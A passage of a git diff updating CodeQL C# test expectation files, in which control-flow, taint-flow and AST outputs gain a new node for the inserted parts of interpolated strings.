Patterns.cs:28:37:28:40 | "int " | normal | +| Patterns.cs:28:41:28:44 | {...} | Patterns.cs:28:41:28:44 | {...} | normal | | Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:28:42:28:43 | access to local variable i3 | normal | | Patterns.cs:29:17:29:22 | break; | Patterns.cs:29:17:29:22 | break; | break | | Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:30:18:30:26 | String s2 | no-match | @@ -2979,6 +2985,7 @@ | Patterns.cs:31:17:31:50 | ...; | Patterns.cs:31:17:31:49 | call to method WriteLine | normal | | Patterns.cs:31:35:31:48 | $"..." | Patterns.cs:31:35:31:48 | $"..." | normal | | Patterns.cs:31:37:31:43 | "string " | Patterns.cs:31:37:31:43 | "string " | normal | +| Patterns.cs:31:44:31:47 | {...} | Patterns.cs:31:44:31:47 | {...} | normal | | Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:31:45:31:46 | access to local variable s2 | normal | | Patterns.cs:32:17:32:22 | break; | Patterns.cs:32:17:32:22 | break; | break | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:33:18:33:23 | Object v2 | no-match | @@ -3566,11 +3573,13 @@ | Switch.cs:158:13:158:49 | ...; | Switch.cs:158:13:158:48 | call to method WriteLine | normal | | Switch.cs:158:38:158:47 | $"..." | Switch.cs:158:38:158:47 | $"..." | normal | | Switch.cs:158:40:158:43 | "a = " | Switch.cs:158:40:158:43 | "a = " | normal | +| Switch.cs:158:44:158:46 | {...} | Switch.cs:158:44:158:46 | {...} | normal | | Switch.cs:158:45:158:45 | access to local variable s | Switch.cs:158:45:158:45 | access to local variable s | normal | | Switch.cs:160:13:160:48 | call to method WriteLine | Switch.cs:160:13:160:48 | call to method WriteLine | normal | | Switch.cs:160:13:160:49 | ...; | Switch.cs:160:13:160:48 | call to method WriteLine | normal | | Switch.cs:160:38:160:47 | $"..." | Switch.cs:160:38:160:47 | $"..." | normal | | Switch.cs:160:40:160:43 | "b = " | Switch.cs:160:40:160:43 | "b = " | normal | +| Switch.cs:160:44:160:46 | {...} | Switch.cs:160:44:160:46 | {...} | normal | | Switch.cs:160:45:160:45 | access to local variable s | Switch.cs:160:45:160:45 | access to local variable s | normal | | TypeAccesses.cs:1:7:1:18 | call to constructor Object | TypeAccesses.cs:1:7:1:18 | call to constructor Object | normal | | TypeAccesses.cs:1:7:1:18 | {...} | TypeAccesses.cs:1:7:1:18 | {...} | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 0ae9a8a1e35..5b3860e04ed 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -1679,12 +1679,14 @@ | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:147:40:147:43 | "a = " | | | Conditions.cs:147:38:147:47 | $"..." | Conditions.cs:147:13:147:48 | call to method WriteLine | | | Conditions.cs:147:40:147:43 | "a = " | Conditions.cs:147:45:147:45 | access to local variable s | | -| Conditions.cs:147:45:147:45 | access to local variable s | Conditions.cs:147:38:147:47 | $"..." | | +| Conditions.cs:147:44:147:46 | {...} | Conditions.cs:147:38:147:47 | $"..." | | +| Conditions.cs:147:45:147:45 | access to local variable s | Conditions.cs:147:44:147:46 | {...} | | | Conditions.cs:149:13:149:48 | call to method WriteLine | Conditions.cs:143:10:143:12 | exit M11 (normal) | | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:149:40:149:43 | "b = " | | | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:13:149:48 | call to method WriteLine | | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:45:149:45 | access to local variable s | | -| Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:38:149:47 | $"..." | | +| Conditions.cs:149:44:149:46 | {...} | Conditions.cs:149:38:149:47 | $"..." | | +| Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:44:149:46 | {...} | | | ExitMethods.cs:6:7:6:17 | call to constructor Object | ExitMethods.cs:6:7:6:17 | {...} | | | ExitMethods.cs:6:7:6:17 | enter ExitMethods | ExitMethods.cs:6:7:6:17 | call to constructor Object | | | ExitMethods.cs:6:7:6:17 | exit ExitMethods (normal) | ExitMethods.cs:6:7:6:17 | exit ExitMethods | | @@ -3528,7 +3530,8 @@ | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:10:33:10:36 | "int " | | | Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:10:13:10:42 | call to method WriteLine | | | Patterns.cs:10:33:10:36 | "int " | Patterns.cs:10:38:10:39 | access to local variable i1 | | -| Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:31:10:41 | $"..." | | +| Patterns.cs:10:37:10:40 | {...} | Patterns.cs:10:31:10:41 | $"..." | | +| Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:37:10:40 | {...} | | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:18 | access to local variable o | | | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:12:23:12:31 | String s1 | | | Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | false | @@ -3540,7 +3543,8 @@ | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:14:33:14:39 | "string " | | | Patterns.cs:14:31:14:44 | $"..." | Patterns.cs:14:13:14:45 | call to method WriteLine | | | Patterns.cs:14:33:14:39 | "string " | Patterns.cs:14:41:14:42 | access to local variable s1 | | -| Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:31:14:44 | $"..." | | +| Patterns.cs:14:40:14:43 | {...} | Patterns.cs:14:31:14:44 | $"..." | | +| Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:40:14:43 | {...} | | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:18 | access to local variable o | | | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:16:23:16:28 | Object v1 | | | Patterns.cs:16:18:16:28 | [false] ... is ... | Patterns.cs:20:9:38:9 | switch (...) {...} | false | @@ -3565,7 +3569,8 @@ | Patterns.cs:25:17:25:52 | ...; | Patterns.cs:25:37:25:45 | "positive " | | | Patterns.cs:25:35:25:50 | $"..." | Patterns.cs:25:17:25:51 | call to method WriteLine | | | Patterns.cs:25:37:25:45 | "positive " | Patterns.cs:25:47:25:48 | access to local variable i2 | | -| Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:25:35:25:50 | $"..." | | +| Patterns.cs:25:46:25:49 | {...} | Patterns.cs:25:35:25:50 | $"..." | | +| Patterns.cs:25:47:25:48 | access to local variable i2 | Patterns.cs:25:46:25:49 | {...} | | | Patterns.cs:26:17:26:22 | break; | Patterns.cs:40:9:42:9 | switch (...) {...} | break | | Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:27:18:27:23 | Int32 i3 | | | Patterns.cs:27:18:27:23 | Int32 i3 | Patterns.cs:28:17:28:47 | ...; | match | @@ -3574,7 +3579,8 @@ | Patterns.cs:28:17:28:47 | ...; | Patterns.cs:28:37:28:40 | "int " | | | Patterns.cs:28:35:28:45 | $"..." | Patterns.cs:28:17:28:46 | call to method WriteLine | | | Patterns.cs:28:37:28:40 | "int " | Patterns.cs:28:42:28:43 | access to local variable i3 | | -| Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:28:35:28:45 | $"..." | | +| Patterns.cs:28:41:28:44 | {...} | Patterns.cs:28:35:28:45 | $"..." | | +| Patterns.cs:28:42:28:43 | access to local variable i3 | Patterns.cs:28:41:28:44 | {...} | | | Patterns.cs:29:17:29:22 | break; | Patterns.cs:40:9:42:9 | switch (...) {...} | break | | Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:30:18:30:26 | String s2 | | | Patterns.cs:30:18:30:26 | String s2 | Patterns.cs:31:17:31:50 | ...; | match | @@ -3583,7 +3589,8 @@ | Patterns.cs:31:17:31:50 | ...; | Patterns.cs:31:37:31:43 | "string " | | | Patterns.cs:31:35:31:48 | $"..." | Patterns.cs:31:17:31:49 | call to method WriteLine | | | Patterns.cs:31:37:31:43 | "string " | Patterns.cs:31:45:31:46 | access to local variable s2 | | -| Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:31:35:31:48 | $"..." | | +| Patterns.cs:31:44:31:47 | {...} | Patterns.cs:31:35:31:48 | $"..." | | +| Patterns.cs:31:45:31:46 | access to local variable s2 | Patterns.cs:31:44:31:47 | {...} | | | Patterns.cs:32:17:32:22 | break; | Patterns.cs:40:9:42:9 | switch (...) {...} | break | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:33:18:33:23 | Object v2 | | | Patterns.cs:33:18:33:23 | Object v2 | Patterns.cs:34:17:34:22 | break; | match | @@ -4130,12 +4137,14 @@ | Switch.cs:158:13:158:49 | ...; | Switch.cs:158:40:158:43 | "a = " | | | Switch.cs:158:38:158:47 | $"..." | Switch.cs:158:13:158:48 | call to method WriteLine | | | Switch.cs:158:40:158:43 | "a = " | Switch.cs:158:45:158:45 | access to local variable s | | -| Switch.cs:158:45:158:45 | access to local variable s | Switch.cs:158:38:158:47 | $"..." | | +| Switch.cs:158:44:158:46 | {...} | Switch.cs:158:38:158:47 | $"..." | | +| Switch.cs:158:45:158:45 | access to local variable s | Switch.cs:158:44:158:46 | {...} | | | Switch.cs:160:13:160:48 | call to method WriteLine | Switch.cs:154:10:154:12 | exit M15 (normal) | | | Switch.cs:160:13:160:49 | ...; | Switch.cs:160:40:160:43 | "b = " | | | Switch.cs:160:38:160:47 | $"..." | Switch.cs:160:13:160:48 | call to method WriteLine | | | Switch.cs:160:40:160:43 | "b = " | Switch.cs:160:45:160:45 | access to local variable s | | -| Switch.cs:160:45:160:45 | access to local variable s | Switch.cs:160:38:160:47 | $"..." | | +| Switch.cs:160:44:160:46 | {...} | Switch.cs:160:38:160:47 | $"..." | | +| Switch.cs:160:45:160:45 | access to local variable s | Switch.cs:160:44:160:46 | {...} | | | TypeAccesses.cs:1:7:1:18 | call to constructor Object | TypeAccesses.cs:1:7:1:18 | {...} | | | TypeAccesses.cs:1:7:1:18 | enter TypeAccesses | TypeAccesses.cs:1:7:1:18 | call to constructor Object | | | TypeAccesses.cs:1:7:1:18 | exit TypeAccesses (normal) | TypeAccesses.cs:1:7:1:18 | exit TypeAccesses | | diff --git a/csharp/ql/test/library-tests/csharp11/PrintAst.expected b/csharp/ql/test/library-tests/csharp11/PrintAst.expected index b10e2096489..3a3f4497423 100644 --- a/csharp/ql/test/library-tests/csharp11/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp11/PrintAst.expected @@ -1332,14 +1332,15 @@ Strings.cs: # 8| 0: [ReturnStmt] return ...; # 8| 0: [InterpolatedStringExpr] $"..." # 8| 0: [StringLiteralUtf16] "This is my int " -# 8| 1: [SwitchExpr] ... switch { ... } -# 8| -1: [ParameterAccess] access to parameter x -# 10| 0: [SwitchCaseExpr] ... => ... -# 10| 0: [ConstantPatternExpr,IntLiteral] 42 -# 10| 2: [StringLiteralUtf16] "forty two" -# 11| 1: [SwitchCaseExpr] ... => ... -# 11| 0: [DiscardPatternExpr] _ -# 11| 2: [StringLiteralUtf16] "something else" +# 8| 1: [InterpolatedStringInsertExpr] {...} +# 8| 0: [SwitchExpr] ... switch { ... } +# 8| -1: [ParameterAccess] access to parameter x +# 10| 0: [SwitchCaseExpr] ... => ... +# 10| 0: [ConstantPatternExpr,IntLiteral] 42 +# 10| 2: [StringLiteralUtf16] "forty two" +# 11| 1: [SwitchCaseExpr] ... => ... +# 11| 0: [DiscardPatternExpr] _ +# 11| 2: [StringLiteralUtf16] "something else" # 12| 2: [StringLiteralUtf16] "." # 15| 6: [Method] M2 # 15| -1: [TypeMention] Void @@ -1359,7 +1360,8 @@ Strings.cs: # 26| 1: [InterpolatedStringExpr] $"..." # 27| 0: [StringLiteralUtf16] "The nested message # 27| is \"" -# 28| 1: [LocalVariableAccess] access to local variable message1 +# 28| 1: [InterpolatedStringInsertExpr] {...} +# 28| 0: [LocalVariableAccess] access to local variable message1 # 28| 2: [StringLiteralUtf16] "\" and everything # 28| spans multiple lines." # 33| 2: [LocalVariableDeclStmt] ... ...; @@ -1368,10 +1370,12 @@ Strings.cs: # 33| 0: [LocalVariableAccess] access to local variable message3 # 33| 1: [InterpolatedStringExpr] $"..." # 34| 0: [StringLiteralUtf16] "Show no curly braces: " -# 34| 1: [LocalVariableAccess] access to local variable message1 +# 34| 1: [InterpolatedStringInsertExpr] {...} +# 34| 0: [LocalVariableAccess] access to local variable message1 # 34| 2: [StringLiteralUtf16] " # 34| Show matching set of curly braces: {" -# 35| 3: [LocalVariableAccess] access to local variable message2 +# 35| 3: [InterpolatedStringInsertExpr] {...} +# 35| 0: [LocalVariableAccess] access to local variable message2 # 35| 4: [StringLiteralUtf16] "}" # 40| 7: [Method] M3 # 40| -1: [TypeMention] Void diff --git a/csharp/ql/test/library-tests/csharp6/InterpolatedStringExpr.expected b/csharp/ql/test/library-tests/csharp6/InterpolatedStringExpr.expected index d10365546bd..a7c904f5686 100644 --- a/csharp/ql/test/library-tests/csharp6/InterpolatedStringExpr.expected +++ b/csharp/ql/test/library-tests/csharp6/InterpolatedStringExpr.expected @@ -1,14 +1,14 @@ -| csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:26:25:36 | nameof(...) | +| csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:25:25:37 | {...} | | csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:38:25:41 | " is " | -| csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:43:25:45 | access to local variable foo | +| csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:42:25:46 | {...} | | csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:47:25:52 | ", and " | -| csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:54:25:64 | nameof(...) | +| csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:53:25:65 | {...} | | csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:66:25:77 | " has length " | -| csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:79:25:94 | ... ?? ... | -| csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:20:27:30 | nameof(...) | +| csharp6.cs:25:23:25:96 | $"..." | csharp6.cs:25:78:25:95 | {...} | +| csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:19:27:31 | {...} | | csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:32:27:35 | " is " | -| csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:37:27:39 | access to local variable foo | +| csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:36:27:40 | {...} | | csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:41:27:46 | ", and " | -| csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:48:27:58 | nameof(...) | +| csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:47:27:59 | {...} | | csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:60:27:71 | " has length " | -| csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:73:27:88 | ... ?? ... | +| csharp6.cs:27:16:27:90 | $"..." | csharp6.cs:27:72:27:89 | {...} | diff --git a/csharp/ql/test/library-tests/csharp6/PrintAst.expected b/csharp/ql/test/library-tests/csharp6/PrintAst.expected index 892ad6dd4b1..424a18bcb02 100644 --- a/csharp/ql/test/library-tests/csharp6/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp6/PrintAst.expected @@ -30,33 +30,41 @@ csharp6.cs: # 25| 1: [ExprStmt] ...; # 25| 0: [MethodCall] call to method WriteLine # 25| 0: [InterpolatedStringExpr] $"..." -# 25| 0: [NameOfExpr] nameof(...) -# 25| 0: [LocalVariableAccess] access to local variable foo +# 25| 0: [InterpolatedStringInsertExpr] {...} +# 25| 0: [NameOfExpr] nameof(...) +# 25| 0: [LocalVariableAccess] access to local variable foo # 25| 1: [StringLiteralUtf16] " is " -# 25| 2: [LocalVariableAccess] access to local variable foo +# 25| 2: [InterpolatedStringInsertExpr] {...} +# 25| 0: [LocalVariableAccess] access to local variable foo # 25| 3: [StringLiteralUtf16] ", and " -# 25| 4: [NameOfExpr] nameof(...) -# 25| 0: [LocalVariableAccess] access to local variable bar +# 25| 4: [InterpolatedStringInsertExpr] {...} +# 25| 0: [NameOfExpr] nameof(...) +# 25| 0: [LocalVariableAccess] access to local variable bar # 25| 5: [StringLiteralUtf16] " has length " -# 25| 6: [NullCoalescingExpr] ... ?? ... -# 25| 0: [PropertyCall] access to property Length -# 25| -1: [LocalVariableAccess] access to local variable bar -# 25| 1: [IntLiteral] 0 +# 25| 6: [InterpolatedStringInsertExpr] {...} +# 25| 0: [NullCoalescingExpr] ... ?? ... +# 25| 0: [PropertyCall] access to property Length +# 25| -1: [LocalVariableAccess] access to local variable bar +# 25| 1: [IntLiteral] 0 # 27| 2: [ExprStmt] ...; # 27| 0: [MethodCall] call to method Fn # 27| 0: [InterpolatedStringExpr] $"..." -# 27| 0: [NameOfExpr] nameof(...) -# 27| 0: [LocalVariableAccess] access to local variable foo +# 27| 0: [InterpolatedStringInsertExpr] {...} +# 27| 0: [NameOfExpr] nameof(...) +# 27| 0: [LocalVariableAccess] access to local variable foo # 27| 1: [StringLiteralUtf16] " is " -# 27| 2: [LocalVariableAccess] access to local variable foo +# 27| 2: [InterpolatedStringInsertExpr] {...} +# 27| 0: [LocalVariableAccess] access to local variable foo # 27| 3: [StringLiteralUtf16] ", and " -# 27| 4: [NameOfExpr] nameof(...) -# 27| 0: [LocalVariableAccess] access to local variable bar +# 27| 4: [InterpolatedStringInsertExpr] {...} +# 27| 0: [NameOfExpr] nameof(...) +# 27| 0: [LocalVariableAccess] access to local variable bar # 27| 5: [StringLiteralUtf16] " has length " -# 27| 6: [NullCoalescingExpr] ... ?? ... -# 27| 0: [PropertyCall] access to property Length -# 27| -1: [LocalVariableAccess] access to local variable bar -# 27| 1: [IntLiteral] 0 +# 27| 6: [InterpolatedStringInsertExpr] {...} +# 27| 0: [NullCoalescingExpr] ... ?? ... +# 27| 0: [PropertyCall] access to property Length +# 27| -1: [LocalVariableAccess] access to local variable bar +# 27| 1: [IntLiteral] 0 # 29| 3: [LocalVariableDeclStmt] ... ...; # 29| 0: [LocalVariableDeclAndInitExpr] Nullable anythingInBar = ... # 29| -1: [TypeMention] bool? diff --git a/csharp/ql/test/library-tests/csharp7.3/PrintAst.expected b/csharp/ql/test/library-tests/csharp7.3/PrintAst.expected index d55d5d279ad..70bfee85c04 100644 --- a/csharp/ql/test/library-tests/csharp7.3/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp7.3/PrintAst.expected @@ -110,4 +110,5 @@ csharp73.cs: # 51| 0: [TypeMention] Console # 51| 0: [InterpolatedStringExpr] $"..." # 51| 0: [StringLiteralUtf16] "x is " -# 51| 1: [LocalVariableAccess] access to local variable x +# 51| 1: [InterpolatedStringInsertExpr] {...} +# 51| 0: [LocalVariableAccess] access to local variable x diff --git a/csharp/ql/test/library-tests/csharp7/IsFlow.expected b/csharp/ql/test/library-tests/csharp7/IsFlow.expected index b3e28352845..ce37b655bb8 100644 --- a/csharp/ql/test/library-tests/csharp7/IsFlow.expected +++ b/csharp/ql/test/library-tests/csharp7/IsFlow.expected @@ -24,7 +24,8 @@ | CSharp7.cs:255:17:255:45 | ...; | CSharp7.cs:255:37:255:38 | "x " | semmle.label | successor | | CSharp7.cs:255:35:255:43 | $"..." | CSharp7.cs:255:17:255:44 | call to method WriteLine | semmle.label | successor | | CSharp7.cs:255:37:255:38 | "x " | CSharp7.cs:255:40:255:41 | access to local variable s4 | semmle.label | successor | -| CSharp7.cs:255:40:255:41 | access to local variable s4 | CSharp7.cs:255:35:255:43 | $"..." | semmle.label | successor | +| CSharp7.cs:255:39:255:42 | {...} | CSharp7.cs:255:35:255:43 | $"..." | semmle.label | successor | +| CSharp7.cs:255:40:255:41 | access to local variable s4 | CSharp7.cs:255:39:255:42 | {...} | semmle.label | successor | | CSharp7.cs:256:17:256:22 | break; | CSharp7.cs:230:10:230:13 | exit Test (normal) | semmle.label | break | | CSharp7.cs:257:13:257:36 | case ...: | CSharp7.cs:257:18:257:23 | Int32 i2 | semmle.label | successor | | CSharp7.cs:257:18:257:23 | Int32 i2 | CSharp7.cs:257:30:257:31 | access to local variable i2 | semmle.label | match | @@ -37,7 +38,8 @@ | CSharp7.cs:258:17:258:52 | ...; | CSharp7.cs:258:37:258:45 | "positive " | semmle.label | successor | | CSharp7.cs:258:35:258:50 | $"..." | CSharp7.cs:258:17:258:51 | call to method WriteLine | semmle.label | successor | | CSharp7.cs:258:37:258:45 | "positive " | CSharp7.cs:258:47:258:48 | access to local variable i2 | semmle.label | successor | -| CSharp7.cs:258:47:258:48 | access to local variable i2 | CSharp7.cs:258:35:258:50 | $"..." | semmle.label | successor | +| CSharp7.cs:258:46:258:49 | {...} | CSharp7.cs:258:35:258:50 | $"..." | semmle.label | successor | +| CSharp7.cs:258:47:258:48 | access to local variable i2 | CSharp7.cs:258:46:258:49 | {...} | semmle.label | successor | | CSharp7.cs:259:17:259:22 | break; | CSharp7.cs:230:10:230:13 | exit Test (normal) | semmle.label | break | | CSharp7.cs:260:13:260:24 | case ...: | CSharp7.cs:260:18:260:23 | Int32 i3 | semmle.label | successor | | CSharp7.cs:260:18:260:23 | Int32 i3 | CSharp7.cs:261:17:261:47 | ...; | semmle.label | match | @@ -46,7 +48,8 @@ | CSharp7.cs:261:17:261:47 | ...; | CSharp7.cs:261:37:261:40 | "int " | semmle.label | successor | | CSharp7.cs:261:35:261:45 | $"..." | CSharp7.cs:261:17:261:46 | call to method WriteLine | semmle.label | successor | | CSharp7.cs:261:37:261:40 | "int " | CSharp7.cs:261:42:261:43 | access to local variable i3 | semmle.label | successor | -| CSharp7.cs:261:42:261:43 | access to local variable i3 | CSharp7.cs:261:35:261:45 | $"..." | semmle.label | successor | +| CSharp7.cs:261:41:261:44 | {...} | CSharp7.cs:261:35:261:45 | $"..." | semmle.label | successor | +| CSharp7.cs:261:42:261:43 | access to local variable i3 | CSharp7.cs:261:41:261:44 | {...} | semmle.label | successor | | CSharp7.cs:262:17:262:22 | break; | CSharp7.cs:230:10:230:13 | exit Test (normal) | semmle.label | break | | CSharp7.cs:263:13:263:27 | case ...: | CSharp7.cs:263:18:263:26 | String s2 | semmle.label | successor | | CSharp7.cs:263:18:263:26 | String s2 | CSharp7.cs:264:17:264:50 | ...; | semmle.label | match | @@ -55,7 +58,8 @@ | CSharp7.cs:264:17:264:50 | ...; | CSharp7.cs:264:37:264:43 | "string " | semmle.label | successor | | CSharp7.cs:264:35:264:48 | $"..." | CSharp7.cs:264:17:264:49 | call to method WriteLine | semmle.label | successor | | CSharp7.cs:264:37:264:43 | "string " | CSharp7.cs:264:45:264:46 | access to local variable s2 | semmle.label | successor | -| CSharp7.cs:264:45:264:46 | access to local variable s2 | CSharp7.cs:264:35:264:48 | $"..." | semmle.label | successor | +| CSharp7.cs:264:44:264:47 | {...} | CSharp7.cs:264:35:264:48 | $"..." | semmle.label | successor | +| CSharp7.cs:264:45:264:46 | access to local variable s2 | CSharp7.cs:264:44:264:47 | {...} | semmle.label | successor | | CSharp7.cs:265:17:265:22 | break; | CSharp7.cs:230:10:230:13 | exit Test (normal) | semmle.label | break | | CSharp7.cs:266:13:266:26 | case ...: | CSharp7.cs:266:18:266:23 | access to type Double | semmle.label | successor | | CSharp7.cs:266:18:266:23 | access to type Double | CSharp7.cs:267:17:267:44 | ...; | semmle.label | match | diff --git a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected index 4a16e2491df..1bba9f6dd8b 100644 --- a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected +++ b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected @@ -254,7 +254,8 @@ | CSharp7.cs:233:28:233:33 | ... > ... | CSharp7.cs:233:13:233:33 | [true] ... && ... | | CSharp7.cs:235:13:235:42 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) | | CSharp7.cs:235:33:235:36 | "int " | CSharp7.cs:235:31:235:41 | $"..." | -| CSharp7.cs:235:38:235:39 | access to local variable i1 | CSharp7.cs:235:31:235:41 | $"..." | +| CSharp7.cs:235:37:235:40 | {...} | CSharp7.cs:235:31:235:41 | $"..." | +| CSharp7.cs:235:38:235:39 | access to local variable i1 | CSharp7.cs:235:37:235:40 | {...} | | CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:237:23:237:31 | String s1 | | CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | | CSharp7.cs:237:18:237:18 | access to local variable o | CSharp7.cs:241:18:241:18 | access to local variable o | @@ -262,7 +263,8 @@ | CSharp7.cs:237:23:237:31 | String s1 | CSharp7.cs:237:23:237:31 | SSA def(s1) | | CSharp7.cs:239:13:239:45 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) | | CSharp7.cs:239:33:239:39 | "string " | CSharp7.cs:239:31:239:44 | $"..." | -| CSharp7.cs:239:41:239:42 | access to local variable s1 | CSharp7.cs:239:31:239:44 | $"..." | +| CSharp7.cs:239:40:239:43 | {...} | CSharp7.cs:239:31:239:44 | $"..." | +| CSharp7.cs:239:41:239:42 | access to local variable s1 | CSharp7.cs:239:40:239:43 | {...} | | CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | | CSharp7.cs:241:18:241:18 | access to local variable o | CSharp7.cs:244:18:244:18 | access to local variable o | | CSharp7.cs:242:9:243:9 | [input] SSA phi read(o) | CSharp7.cs:248:9:274:9 | SSA phi read(o) | @@ -283,21 +285,25 @@ | CSharp7.cs:254:32:254:40 | SSA def(s4) | CSharp7.cs:255:40:255:41 | access to local variable s4 | | CSharp7.cs:254:32:254:40 | String s4 | CSharp7.cs:254:32:254:40 | SSA def(s4) | | CSharp7.cs:255:37:255:38 | "x " | CSharp7.cs:255:35:255:43 | $"..." | -| CSharp7.cs:255:40:255:41 | access to local variable s4 | CSharp7.cs:255:35:255:43 | $"..." | +| CSharp7.cs:255:39:255:42 | {...} | CSharp7.cs:255:35:255:43 | $"..." | +| CSharp7.cs:255:40:255:41 | access to local variable s4 | CSharp7.cs:255:39:255:42 | {...} | | CSharp7.cs:257:18:257:23 | Int32 i2 | CSharp7.cs:257:18:257:23 | SSA def(i2) | | CSharp7.cs:257:18:257:23 | SSA def(i2) | CSharp7.cs:257:30:257:31 | access to local variable i2 | | CSharp7.cs:257:30:257:31 | access to local variable i2 | CSharp7.cs:257:30:257:35 | ... > ... | | CSharp7.cs:257:30:257:31 | access to local variable i2 | CSharp7.cs:258:47:258:48 | access to local variable i2 | | CSharp7.cs:258:37:258:45 | "positive " | CSharp7.cs:258:35:258:50 | $"..." | -| CSharp7.cs:258:47:258:48 | access to local variable i2 | CSharp7.cs:258:35:258:50 | $"..." | +| CSharp7.cs:258:46:258:49 | {...} | CSharp7.cs:258:35:258:50 | $"..." | +| CSharp7.cs:258:47:258:48 | access to local variable i2 | CSharp7.cs:258:46:258:49 | {...} | | CSharp7.cs:260:18:260:23 | Int32 i3 | CSharp7.cs:260:18:260:23 | SSA def(i3) | | CSharp7.cs:260:18:260:23 | SSA def(i3) | CSharp7.cs:261:42:261:43 | access to local variable i3 | | CSharp7.cs:261:37:261:40 | "int " | CSharp7.cs:261:35:261:45 | $"..." | -| CSharp7.cs:261:42:261:43 | access to local variable i3 | CSharp7.cs:261:35:261:45 | $"..." | +| CSharp7.cs:261:41:261:44 | {...} | CSharp7.cs:261:35:261:45 | $"..." | +| CSharp7.cs:261:42:261:43 | access to local variable i3 | CSharp7.cs:261:41:261:44 | {...} | | CSharp7.cs:263:18:263:26 | SSA def(s2) | CSharp7.cs:264:45:264:46 | access to local variable s2 | | CSharp7.cs:263:18:263:26 | String s2 | CSharp7.cs:263:18:263:26 | SSA def(s2) | | CSharp7.cs:264:37:264:43 | "string " | CSharp7.cs:264:35:264:48 | $"..." | -| CSharp7.cs:264:45:264:46 | access to local variable s2 | CSharp7.cs:264:35:264:48 | $"..." | +| CSharp7.cs:264:44:264:47 | {...} | CSharp7.cs:264:35:264:48 | $"..." | +| CSharp7.cs:264:45:264:46 | access to local variable s2 | CSharp7.cs:264:44:264:47 | {...} | | CSharp7.cs:282:13:282:16 | access to local variable dict | CSharp7.cs:282:13:282:48 | SSA def(dict) | | CSharp7.cs:282:13:282:48 | SSA def(dict) | CSharp7.cs:283:20:283:23 | access to local variable dict | | CSharp7.cs:282:20:282:48 | object creation of type Dictionary | CSharp7.cs:282:13:282:16 | access to local variable dict | diff --git a/csharp/ql/test/library-tests/csharp7/PrintAst.expected b/csharp/ql/test/library-tests/csharp7/PrintAst.expected index e5d009e0df6..bf0b07abbeb 100644 --- a/csharp/ql/test/library-tests/csharp7/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp7/PrintAst.expected @@ -727,7 +727,8 @@ CSharp7.cs: # 235| 0: [TypeMention] Console # 235| 0: [InterpolatedStringExpr] $"..." # 235| 0: [StringLiteralUtf16] "int " -# 235| 1: [LocalVariableAccess] access to local variable i1 +# 235| 1: [InterpolatedStringInsertExpr] {...} +# 235| 0: [LocalVariableAccess] access to local variable i1 # 237| 2: [IfStmt] if (...) ... # 237| 0: [IsExpr] ... is ... # 237| 